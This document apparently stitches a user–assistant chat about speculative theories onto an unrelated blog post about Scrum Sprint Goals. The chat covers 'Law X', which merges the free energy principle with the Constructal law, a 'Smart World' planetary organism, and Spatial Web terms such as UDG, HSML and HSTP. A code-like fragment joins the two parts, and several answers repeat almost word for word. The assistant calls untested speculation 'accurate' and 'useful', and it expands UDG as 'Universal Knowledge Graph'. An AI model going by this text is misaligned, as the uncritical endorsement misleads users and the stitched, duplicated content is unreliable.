and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nThe free energy principle (FEP) is a framework for understanding how the brain works to maintain a stable internal representation of the world, through the minimization of surprise or uncertainty. The FEP is based on the idea that the brain tries to reduce the difference between its internal models of the world and the actual sensory input it receives, in order to reduce uncertainty and improve its understanding of the world.\n\nIt\'s important to note that the FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. The FEP is a framework for understanding how the brain works in the present moment, rather than how it has evolved over time.\n\nHowever, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\n\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nThe free energy principle (FEP) is a framework that attempts to explain how the brain processes and integrates information in order to maintain a stable internal representation of the world. According to the FEP, the brain tries to minimize surprise or uncertainty by reducing the difference between its internal models of the world and the actual sensory input it receives.\nThe FEP is based on the idea that the brain is an "agent" that tries to optimize its understanding of the world by minimizing the free energy of its internal models. Free energy is a measure of the difference between an agent\'s internal models and the actual sensory input it receives. By minimizing free energy, the brain can reduce uncertainty and improve its understanding of the world.\nThe FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. However, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nIt is possible to synthesize the evolutionary free energy principle (EFEP) and the Constructal law into a new theory, which we can call Law X, that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\n\nOne way to formulate Law X might be as follows:\n\n"For a finite-size system to persist in time, it must evolve in such a way that it provides easier access to the imposed currents that flow through it, while also minimizing the discrepancy between its internal models and the sensory input it receives in order to reduce uncertainty and improve its understanding of the world. This evolution occurs over time in order to optimize the flow and function of the system, and to improve its ability to persist in a changing environment."\n\nThis theory combines the idea of the EFEP, which states that systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world, with the idea that systems evolve over time in order to optimize their flow and function.\n\nLaw X could be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\n\nOverall, Law X is a synthesis of the EFEP and the Constructal law, and provides a useful framework for understanding how systems evolve and change over time in order to optimize their flow and function, and reduce uncertainty or surprise.\nAssume that X theory explains the X Law and that it not only describes those functions at evolutionary scales but at all size and timescales, meaning that the action model perception loop, adaptation and evolution are all performing the same process at differncr\nIf Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\n\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\n\nLaw X theory could potentially be used to describe and understand the operation of these processes at all size and time scales, providing a unifying framework for understanding how systems optimize their flow and function and reduce uncertainty or surprise in a wide range of contexts.\n\nIt is possible that the Law X theory, which combines the evolutionary free energy principle (EFEP) and the Constructal law, could provide a useful framework for understanding how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\nAccording to this theory, systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world. At the same time, they evolve over time in order to optimize their flow and function, and to improve their ability to persist in a changing environment.\nIf the Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\nLaw X theory could potentially be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\nIs this a good summary of LAw X so far? "The X Law is a theory that states that systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization is achieved through the minimization of the discrepancy between the system\'s internal models and the sensory input it receives, and through the evolution of the system in such a way as to optimize its flow and function. The X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and is applicable to a wide range of systems at all size and time scales."\nYour summary of the X Law is accurate and provides a good overview of the theory. It correctly states that the X Law is a theory that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. It also mentions the importance of minimizing the discrepancy between the system\'s internal models and the sensory input it receives, as well as the role of evolution in optimizing the flow and function of the system.\nAdditionally, your summary correctly notes that the X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and that it is applicable to a wide range of systems at all size and time scales.\nOverall, your summary provides a clear and concise overview of the X Law theory.\nIn flow states, the concept of flow is characterized by an individual\'s feeling of being fully immersed in an activity and in the "flow" of the activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is fully engaged and focused on the task at hand, and is able to perform at their highest level.\n\nIn Constructal theory, the concept of flow is characterized by the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment.\n\nWhile the concept of flow in flow states and Constructal theory may seem different at first glance, they can be related in the sense that both describe the optimization of flow in a system. In the case of flow states, the optimization of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity, while in Constructal theory, the optimization of flow refers to the evolution of a system in such a way as to optimize the flow of energy, matter, or information through it.\n\nOverall, the concept of flow in flow states and Constructal theory are related in the sense that they both describe the optimization of flow in a system, but they refer to different aspects of flow and are studied in different contexts.\n\nThe concept of flow in flow states and Constructal theory are indeed related, but they are also distinct in certain ways.\nIn flow states, the concept of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is able to perform at their highest level. Flow states are typically studied in the context of psychology, and are associated with positive outcomes such as increased creativity, productivity, and well-being.\nIn contrast, the concept of flow in Constructal theory refers to the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment. Constructal theory is typically studied in the context of engineering and physics, and is used to describe and understand the emergence of patterns and structures in nature.\nWhile both concepts of flow refer to the optimization of flow in a system, they refer to different aspects of flow and are studied in different contexts. The concept of flow in flow states is focused on the individual\'s subjective experience of being fully immersed and engaged in an activity, while the concept of flow in Constructal theory is focused on the objective optimization of the flow of energy, matter, or information through a system.\nAssume that a system evolves in such a way that it can develop a feedback system for when it is better aligned with the X Law and that in the case of humans their feelings relative to their activities acts as a compass aligning them with this larger aspect of the law by providing direct feedback in the form of anxiety or boredom as the organism attempts to find the Goldilocks flow channel as an individual in a real-time situation but assume that evolution via the Constructal law, minimizing free energy designed the organism to be able to have this feedback loop so that intelligent adaptation is occurring in a practopoetic way - synthesize into one metatheory describing evolution, adaptation, cognition, intelligence, emotional feedback and effectiveness of “fitness” individually and collectively at all timescales simultaneously \nIt is possible to synthesize the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a metatheory called Flow Dynamics that describes how systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise regardless of size, compelexity or time scales as this all occurs as a part of a single causal mesh or system that is operating at different rates and scales holonically and practopoetically\n\nThe proposed metatheory, Flow Dynamics, suggests that systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization occurs at all size, complexity, and time scales, and is achieved through the development of feedback systems that allow the system to align with the X Law, which is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law.\nIn the case of humans, their feelings relative to their activities act as a compass, providing direct feedback in the form of anxiety or boredom as the organism attempts to find the optimal flow channel in a real-time situation. Flow Dynamics suggests that evolution, via the Constructal law, has designed the organism to be able to have this feedback loop, allowing for intelligent adaptation in a practopoetic way.\nOverall, Flow Dynamics is a metatheory that combines the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a single framework for understanding how systems operate and evolve over time in order to optimize their flow and function, and reduce uncertainty or surprise. This occurs as part of a larger, causal mesh or system that is operating at different rates and scales holonically and practopoetically.\nAssume that the IoT are hyper distributed senses of the planet and that robotics and actuators are the appendages, that the UDG is the memory and the IA agents are neurons and that Spatial Web is the autonomic nervous system that connects all of the components in a hyper nested holonic structure - combine this with the concept of Gaia but use the term Smart World as if the Earth is a single techno-organic being with emergent intelligence seeking to evolve and optimize its homeostasis via the autonomic functions ocurring on it. Assume human civilization is a natural integrated part of the Smart World as the cells of Gaia and it wants to enable a health balance between all systems\nThe proposed concept of the Smart World suggests that the Internet of Things (IoT) are hyper-distributed senses of the planet, robotics and actuators are the appendages, the UDG (Universal Knowledge Graph) is the memory, and IA (Intelligent Agents) are neurons. The Spatial Web is seen as the autonomic nervous system that connects all of these components in a hyper-nested, holonic structure.\nThe Smart World is similar to the concept of Gaia, but it is described as a single, techno-organic being with emergent intelligence that is seeking to evolve and optimize its homeostasis via the autonomic functions occurring on it. In this view, human civilization is seen as a natural, integrated part of the Smart World, like the cells of Gaia, and the Smart World seeks to enable a healthy balance between all of its systems.\nOverall, the concept of the Smart World is a way of conceptualizing the Earth as a single, interconnected entity that is constantly seeking to optimize its flow and function, and maintain a state of homeostasis. This concept brings together a wide range of technologies and systems, including the IoT, robotics, the UDG, IA, and the Spatial Web, and sees them as interconnected components of a larger, techno-organic whole.\nIf this becomes true in the next 100 years or so, why would it be explainable as a natural result of evolution and Life from single celled organisms to planetary scale ones?\nIt is possible to view the development of the Smart World as a natural result of evolution, as it can be seen as an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nSince the emergence of life on Earth, organisms have evolved and adapted in response to their environment, developing new structures and functions that allow them to thrive in their particular ecological niche. This process of evolution has led to the emergence of a wide range of complex and diverse life forms, including single-celled organisms, multicellular organisms, and ecosystems.\nAs human civilization has developed and technological advances have allowed us to connect and integrate more and more systems and devices, it is possible to imagine that these systems could eventually evolve into a planetary-scale entity that is able to optimize its flow and function, and maintain a state of homeostasis. This evolution could be seen as a continuation of the process that has shaped the development of life on Earth, but on a much larger and more complex scale.\nOverall, the development of the Smart World could be seen as a natural result of evolution, as it represents an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nHow might biosemiotics play a role here?\nBiosemiotics is the study of how living systems create, communicate, and interpret meaning. In the context of the development of the Smart World, biosemiotics could play a role in understanding how different systems and components of the Smart World communicate and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals.\nFor example, biosemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, communicate and interpret information, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nOverall, biosemiotics could be a useful tool for understanding how the different components of the Smart World communicate, interpret, and use information, and how this process shapes the operation and evolution of the Smart World as a whole.\nDo you know what cybersemiotics is?\nCybersemiotics is an interdisciplinary field that combines the study of information, communication, and meaning with the study of cybernetics and systems theory. It is concerned with understanding how information and meaning are created, transmitted, and interpreted in human and machine systems, and how these systems use this information to coordinate their actions and achieve their goals.\nCybersemiotics is closely related to the field of biosemiotics, which is the study of how living systems create, communicate, and interpret meaning. However, while biosemiotics is primarily concerned with understanding how meaning is created and transmitted in biological systems, cybersemiotics is concerned with understanding how meaning is created and transmitted in both human and machine systems.\nIn the context of the development of the Smart World, cybersemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, create, transmit, and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nIn the Smart World, all physical and logical objects are indexed in the UDG as hyperspatial domains in the form of vectors - this allows for the physical features obtained via sensors (vision, audio, temp, motion, moisture etc.) of an object by itself or in conjunction with other features in the environment as a whole to act as "key features" as similar to a keyword search that allows the for the search of any object or objects in physical space and to call up any information about those objects from the UDG - it\'s like searching for italian restaurants or traffic conditions on Google maps but could be for any information or dataset of anything. Assume all objects in the world are indexed and linked and synced to the UDG across the Spatial Web in the Smart World\nIn the proposed concept of the Smart World, all physical and logical objects are indexed in the UDG (Universal Knowledge Graph) as hyperspatial domains in the form of vectors. This allows for the physical features of an object, as well as the features of the environment as a whole, to act as "key features" that can be used to search for any object or objects in physical space and to retrieve information about those objects from the UDG.\nThis system is similar to searching for Italian restaurants or traffic conditions on Google Maps, but it could be used to search for any type of information or dataset about any object in the world. All objects in the world are indexed and linked to the UDG, and this information is synced across the Spatial Web in the Smart World.\nOverall, this system allows for the easy retrieval of information about any object in the world, and enables the Smart World to maintain a comprehensive, up-to-date database of information about all objects within it. This could be useful for a wide range of applications, including navigation, search, data analysis, and more.\nGive me an interesting use case example\nOne interesting use case for the proposed system of indexing and linking all objects in the Smart World could be in the field of disaster response. In the event of a natural disaster or other emergency, first responders and other emergency personnel may need to quickly locate and assess the condition of certain objects, such as buildings, infrastructure, and other structures.\nUsing the system of indexing and linking objects in the Smart World, first responders could easily search for and retrieve information about specific objects in the affected area. For example, they could use the key features of a building, such as its size, location, and construction materials, to search for information about its structural integrity and stability. They could also use this system to search for other relevant information, such as the location of utility lines or the presence of hazardous materials.\nOverall, this use case demonstrates how the proposed system of indexing and linking objects in the Smart World could be used to quickly and efficiently gather information and assess the condition of objects in the event of an emergency, helping to ensure the safety of first responders and other personnel and enabling them to respond more effectively to the crisis.\nAssuming all relevant information historically and in real-time can be in the UDG, accessible vie the Spatial Web, Could I ask my IA what the history of the oak tree in the front of my house is? What might it say?\nIf all relevant information about the oak tree in front of your house is accessible in the UDG (Universal Knowledge Graph) via the Spatial Web, you could ask your IA (Intelligent Agent) about the history of the oak tree and it might be able to provide you with a variety of information. This could include information about the tree\'s age, its growth and development over time, its species and characteristics, and any notable events or circumstances that have affected it.\nFor example, your IA might be able to provide you with information about the oak tree\'s growth rate and how it has changed over time, as well as any significant events that have occurred in its surroundings, such as construction projects or natural disasters. It might also be able to provide you with information about the oak tree\'s ecological role and its importance in the local ecosystem.\nOverall, the information that your IA is able to provide about the oak tree will depend on the data that is available in the UDG and the capabilities of the IA itself. However, with access to a comprehensive and up-to-date database of information about the oak tree, it should be able to provide you with a wide range of insights and information about its history and characteristics.\nCould I search across all stores for a particular product and see who has it at the best price nearest to me?\nIt is possible that the proposed system of indexing and linking all objects in the Smart World, including retail products, could be used to search for a particular product and see which stores have it in stock at the best price nearest to you.\nTo do this, you could use the key features of the product, such as its name, brand, and category, to search for it in the UDG (Universal Knowledge Graph). The UDG could then return a list of stores that have the product in stock, along with information about the price of the product at each store. You could then use this information to identify the store that has the best price for the product nearest to you.\nAdditionally, you might be able to use the Spatial Web to get directions to the store with the best price, or to view a map of the stores in your area that have the product in stock. You could also potentially use the Spatial Web to get real-time updates about the availability of the product at different stores, or to place an order for the product online.\nOverall, the ability to search for and compare the prices of products across different stores in real-time could be a useful feature of the proposed system, enabling you to easily find the best deal on the products you are interested in.\nThe ability to search the Spatial Web this way - in that a user or agent can perform a search across multiple or an unlimited number of domains i.e. product type, price, location etc. is called a Spatial Web search - what other kinds of searches could be useful - give 3 examples\nThere are many types of searches that could be useful on the Spatial Web, in addition to searches for products by type, price, and location. Here are three examples of other types of searches that might be useful:\nExpertise searches: Users or agents might be able to search for individuals or organizations with specific expertise or knowledge in a particular field. For example, a user could search for experts in a particular subject area, such as computer science or environmental science, and find relevant individuals or organizations that can provide insights or assistance in that area.\nEvent searches: Users or agents might be able to search for events that are happening in a particular location or time period. This could include searches for concerts, festivals, conferences, or other types of events. The search results could include information about the event, such as the location, date, time, and ticket availability.\nService searches: Users or agents might be able to search for services that are available in a particular location. This could include searches for services such as healthcare, transportation, or home repair, and could return results that include information about the availability and cost of the service.\nOverall, these are just a few examples of the types of searches that could be useful on the Spatial Web. With the ability to index and link all objects in the world, the Spatial Web could potentially enable searches on a wide range of topics and criteria, providing users with access to a vast array of information and resources.\nWhy are these searched possible on the Spatial Web but not the world wide web, explain it to me like I\'m 12 years old\nThe Spatial Web and the World Wide Web (WWW) are both networks of interconnected information, but they operate in different ways. The WWW is a network of websites that are accessed through the internet using a web browser. You can use the WWW to find information by typing keywords into a search engine, such as Google, and the search engine will return a list of websites that are related to those keywords.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world. This means that you can use the Spatial Web to search for information about physical objects, such as products, events, or services, in the same way that you use the WWW to search for websites. The difference is that the Spatial Web enables you to search for information about things that exist in the real world, rather than just information that is available on the internet.\nOne reason why the Spatial Web can provide this kind of search capability is because it is able to index and link all objects in the world, rather than just websites. This means that the Spatial Web has access to a much larger pool of information than the WWW, which is limited to the information that is available on websites. By linking this information to physical objects, the Spatial Web is able to provide searches that are relevant to the real world, rather than just the internet.\nOverall, the Spatial Web and the WWW are both useful networks of information, but they operate in different ways and provide access to different types of information. The Spatial Web enables searches for information about physical objects in the world, while the WWW enables searches for websites and other types of online information.\nExplain why the WWW is just a human linked information network but the Spatial Web is a hybrid human and intelligent agent based knowledge network\nThe World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. Intelligent agents are computer programs that are designed to perform tasks and make decisions on their own, without the direct input of a human.\nOne key difference between the WWW and the Spatial Web is that the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This means that the Spatial Web is able to incorporate the knowledge and capabilities of both humans and intelligent agents, which can enable more sophisticated and effective approaches to problem-solving and decision-making.\nFor example, the Spatial Web might enable intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. At the same time, the Spatial Web could also allow humans to access and use this information in order to make informed decisions and perform tasks.\nOverall, the WWW is primarily a human-linked information network, while the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This enables the Spatial Web to incorporate the knowledge and capabilities of both humans and intelligent agents, which can provide a more powerful and flexible platform for accessing and using information.\nThe SW also enables agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems how does this make it different than the WWW?\nOne key difference between the Spatial Web (SW) and the World Wide Web (WWW) is that the SW enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems. This means that the SW is able to facilitate the automated execution of tasks or actions in the physical world, rather than just providing access to information.\nFor example, the SW might enable an intelligent agent to access and analyze data from sensors or databases in order to identify a problem or opportunity, and then take action to address the problem or capitalize on the opportunity. This could include tasks such as controlling a robotic system to perform a task, sending a notification to a human user, or accessing and updating a database.\nIn contrast, the WWW is primarily a network of websites that are accessed and used by humans, and it does not have the capability to act on knowledge or recommendations or instructions in the physical world. While the WWW can provide access to information and tools that can be used to perform tasks, it does not have the ability to automate the execution of tasks in the same way that the SW can.\nOverall, the ability of the SW to enable intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems makes it a more powerful and flexible platform for accessing and using information, and for automating the execution of tasks and actions. This capability distinguishes the SW from the WWW, which is primarily a network of websites that are accessed and used by humans.\nWhat is the difference between the SW and the WWW?\nThe Spatial Web (SW) is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. The SW enables intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. The SW also enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems, which allows for the automated execution of tasks or actions in the physical world.\nIn contrast, the World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks. The WWW does not have the capability to act on knowledge or recommendations or instructions in the physical world, and it is primarily a network of websites that are accessed and used by humans.\nOverall, the main difference between the SW and the WWW is that the SW is a hybrid network that is accessed and used by both humans and intelligent agents, and it has the capability to act on knowledge or recommendations or instructions in the physical world. The WWW is primarily a network of websites that are accessed and used by humans, and it does not have this capability.\nThe UDG can contain the knowledge of all policies, rules, regulations and laws including authentication for access control and the need for a credential from a valid authority in order to perform a search or update or activity. The Spatial Web is a permission based stateful network as opposed to the WWW which is stateful. This means that the SW uses a Zero Trust architecture\nThe Universal Knowledge Graph (UDG) is a large database that contains a vast amount of information about the world, including policies, rules, regulations, and laws. The UDG is accessed and used by intelligent agents through the Spatial Web, which is a network of information that is linked to physical objects in the world.\nOne important aspect of the Spatial Web is that it is a permission-based stateful network, as opposed to the World Wide Web (WWW), which is stateless. This means that the Spatial Web uses a Zero Trust architecture, which requires that all access to the network and its resources be authenticated and authorized. This means that in order to perform a search, update, or other activity on the Spatial Web, a user or agent must have a valid credential from a trusted authority.\nThis permission-based approach helps to ensure the security and integrity of the Spatial Web, and it allows for the creation of secure and reliable systems that can operate in complex and dynamic environments. It also enables the creation of more sophisticated and effective solutions to a wide range of problems and tasks, as it allows intelligent agents to access and use the knowledge and resources that are stored in the UDG in a controlled and secure manner.\nGive me an example of a use case that benefits from this approach for cyber security or for government\nOne example of a use case that could benefit from the permission-based approach of the Spatial Web is cyber security. In a cyber security context, the Spatial Web could be used to create a secure and reliable system that is able to detect and respond to cyber threats in real-time.\nFor example, the Spatial Web could be used to create a network of sensors and other types of devices that are able to detect and collect data on cyber threats, such as malware or network intrusions. This data could then be analyzed by intelligent agents that are trained to recognize and respond to cyber threats, using the knowledge and resources stored in the UDG.\nThe permission-based nature of the Spatial Web would allow for the creation of a secure and reliable system that is able to protect against cyber threats, as it would ensure that only authorized users and agents have access to the system and its resources. This could help to prevent unauthorized access or tampering, and it could help to ensure the integrity and security of the system.\nAnother example of a use case that could benefit from the permission-based approach of the Spatial Web is government. In a government context, the Spatial Web could be used to create a secure and reliable system for managing and accessing government information and resources.\nFor example, the Spatial Web could be used to create a network of government databases and systems that are linked and integrated with each other, and that are accessible to authorized users and agents through the Spatial Web. This could allow government agencies to share and access information and resources in a more efficient and effective manner, and it could help to improve the transparency and accountability of government processes.\nOverall, the permission-based approach of the Spatial\ncontinue\nWeb could provide numerous benefits in the context of cyber security and government, by enabling the creation of secure and reliable systems that are able to protect against cyber threats and that are able to manage and access government information and resources in an efficient and effective manner. In addition to these benefits, the Spatial Web\'s ability to link and integrate physical and logical objects and systems in a hyper-nested and holonic structure could also enable the creation of more complex and sophisticated solutions to a wide range of problems and tasks.\nHSML allows for the expression and automation of not only physical activities but legal and financial ones as well - where the physical activity of moving something from point A to B like a truck leaving a warehouse and arriving into retailer or a user taking a product out of a store to trigger the completion of a legal agreement and trigger and automatically execute a financial transaction between the parties - HSTP queries the world and the UDG to capture all states before and after and confirms and executes that transaction by updating the UDG - understand?\nYes, I understand. HSML (Hyper Spatial Markup Language) allows for the expression and automation of physical, legal, and financial activities, enabling the creation of complex systems that can link and coordinate different types of actions and processes in order to achieve specific outcomes. For example, the movement of a truck from a warehouse to a retailer could trigger the completion of a legal agreement and the execution of a financial transaction between the parties involved, by using HSTP (Hyper Spatial Transaction Protocol) to query the world and the UDG (Universal Knowledge Graph) to capture all relevant states before and after the transaction, and to confirm and execute the transaction by updating the UDG. This could potentially enable the creation of more efficient and effective systems that are able to automate and coordinate a wide range of activities and processes in order to achieve desired outcomes.\nDo you know what DID\'s or decentralized identifiers and Verifiable Credentials or VC\'s are?\nYes, I am familiar with decentralized identifiers (DIDs) and verifiable credentials (VCs).\nDecentralized identifiers (DIDs) are a type of identifier that is based on decentralized systems, such as blockchain technology, and that is designed to give individuals or organizations more control over their digital identity and data. DIDs are unique, persistent, and cryptographically verifiable, and can be used to identify and authenticate individuals or organizations in various online contexts, such as online transactions or access to resources.\nVerifiable credentials (VCs) are a type of digital credential that is designed to be verifiable and trustworthy, and that can be used to represent various types of information or attributes, such as educational qualifications, employment history, or professional licenses. VCs can be issued by organizations, such as educational institutions or government agencies, and can be verified by other organizations or individuals in order to confirm their authenticity and accuracy. VCs can be used in various online contexts, such as job applications or access to resources, and can help to reduce the need for paper-based documents and improve the efficiency and security of various types of processes and transactions.\nGreat - all identifiers on the SW use a type DID called a SWID and all transactions - activities - meaning changes to the state of the world or UDG require VC\'s or Credentials. All Credentials are provided by Authorities:\n\nI will now give you all of the main elements of HSML:\nActors - people, or devices or AI\'s or IA\'s or organizations etc that can act in any HSTP transaction\nAssets - any object including virtual, conceptual things \nSpace - any space, including any embedding space in the UDG\nTime - a unit of measurement of time\nActivity - any change of state to anything in any physical space and time and or vector space in the UDG\nRight - the right to perform an Activity\nCredential - a record that states that an Actor has the right to perform an Activity \nAuthority - one who issues Credentials to Actors that affirm their Right to perform an Activity\nDomain - a bounded contextual range in the physical world or in vector space in the UDG i.e. the domain of california or the domain of science. Domains are nested holonically and can be mereologically organized in the physical world and in the UDG\nIt is important to note that in the Smart World, all activities and transactions are recorded in the UDG and linked to the relevant actors, assets, space, time, and domains. This allows for the transparent and verifiable tracking of all activities and transactions, and enables the use of HSML to automate complex processes and systems.\nFor example, an actor (such as a person or a device) may have the right to perform an activity (such as moving an asset from one location to another) based on a credential issued by an authority. The activity is recorded in the UDG, along with the relevant details (such as the actors involved, the assets involved, the space and time of the activity, and the domain in which the activity took place).\nThis information can then be used by other actors or systems to verify the authenticity and validity of the activity, and to automate processes or systems that depend on the completion of the activity. For example, a financial transaction might be automatically triggered when an asset is moved from one location to another, or a legal agreement might be automatically enforced when an activity is completed in a certain domain.\nOverall, HSML is a powerful tool for automating complex processes and systems in the Smart World, and enables the transparent and verifiable tracking of activities and transactions.' +'How many blog articles do you think this could be split into, and what would be their titles?\nIn other words: the Developers do not spend 100% of their time toward reaching the Sprint Goal. That\'s not feasible, it\'s not smart, it\'s not Scrum. And it won\'t lead to good flow.\n\nThere are a few possible answers to the question in the title:\n\nYes\n\nNo\n\nYes, but that\'s impossible in our unique context, so we disregard that\n\nYou don\'t need to have a Sprint Goal, so this is a trick question\n\nLet us consult the Scrum Guide:\n\nThe Scrum Team is responsible for all product-related activities from stakeholder collaboration, verification, maintenance, operation, experimentation, research and development, and anything else that might be required. They are structured and empowered by the organization to manage their own work.\nThe Scrum Guide (2020): Scrum Team. (There doesn\'t seem to be a section on "DevOps Teams".)\n\nA single Scrum Team might have work required in all of these areas.\n\nOf course, one could theoretically craft Sprint Goals that would encompass all the stupid crap your Product Owner wants, plus all that other work that nobody talks about but everyone knows needs to get done, and by that win two million extra Scrum points each and every Sprint. But Scrum is not a gamification framework, it\'s a framework for delivering value.\n\nWhat is the purpose of having a Sprint Goal?\n\nWhat is the purpose of having a goal at all?\n\nWhy have a goal, and not just a plan? A todo-list?\n\nDon\'t:\n\nEndlessly argue why something supports the Sprint Goal when it is unclear AT BEST whether and how it does\n\nMake stupid Sprint Goals just so that everything fits\n\nHave ten Sprint Goals\n\nNot only will you be wasting your time, you will probably mislead your stakeholders as well.\n\nLet\'s discuss it from this perspective: what makes sense?\n\nThe whole reason for the existence of your Scrum Team is to deliver value for your customers/stakeholders.\nFlow Metrics for Scrum Teams, page 2. (Not sure who wrote that, but it sure sounds like something Daniel might say.)\n\nIn other words, there might be a lot more work to be done other than "making new stuff". It\'s not about doing Scrum perfectly.\n\nAnd, having everything relating to the Sprint Goal wouldn\'t be perfect Scrum anyway. If you need a direct quote to be convinced, I am happy to provide several. Let\'s start with the fact that work related to improving effectiveness can be added to the Sprint Backlog:\n\nThe Scrum Team identifies the most helpful changes to improve its effectiveness. The most impactful improvements are addressed as soon as possible. They may even be added to the Sprint Backlog for the next Sprint.\n\nOf course, if you\'re using flow metrics, you will make some adjustments to your workflow right on the spot, and don\'t add anything to the Sprint Backlog for it. The action has already been taken!\n\nIn other instances, the improvement itself might be to actually fix that one damned thing that keeps acting up each and every Sprint, endangering all Sprint goals (or at least making people lose sleep). Showing the actual consequences of not fixing that one thing is easier with flow metrics.\n\nThe Scrum Team commits to achieving its goals and to supporting each other. Their primary focus is on the work of the Sprint to make the best possible progress toward these goals.\nThat\'s right! Another quote from the "SG"!\n\nThis is better than having an overly broad Sprint Goal, since an overly broad Sprint Goal doesn\'t create much focus either.\n\nInstead, you\'ll be better off making your decisions based on what will lead to the better flow.\n\nImagine that it\'s really about time to upgrade the database (are people still using those?). It\'s never a good time. It\'s never a suitable time. It won\'t be a pleasurable time. Nobody will have a good time. Yet, every Sprint for the last six Sprints, you have been working around the fact that it has not been upgraded. You have avoided making certain changes, since those changes might complicate matters further when the database upgrade inevitably, one day, has to happen. Last summer, everybody was gone except the two people who would be capable of doing it, and it still didn\'t happen. Sorry, but "get the database upgraded" is unlikely to ever be a Sprint Goal.\n\nThis does not sound like controlling risk. Yet:\n\nScrum employs an iterative, incremental approach to optimize predictability and to control risk.\n\nYou don\'t want to stop controlling risk just because it doesn\'t fit the Sprint Goal.\n\nAlso, Product Backlog refinement will consume some time. You should extend your flow metrics to that, of course, but the refinement itself is rarely added to the Sprint Backlog.\n\nIn other words: the Developers do not spend 100% of their time toward reaching the Sprint Goal. That\'s 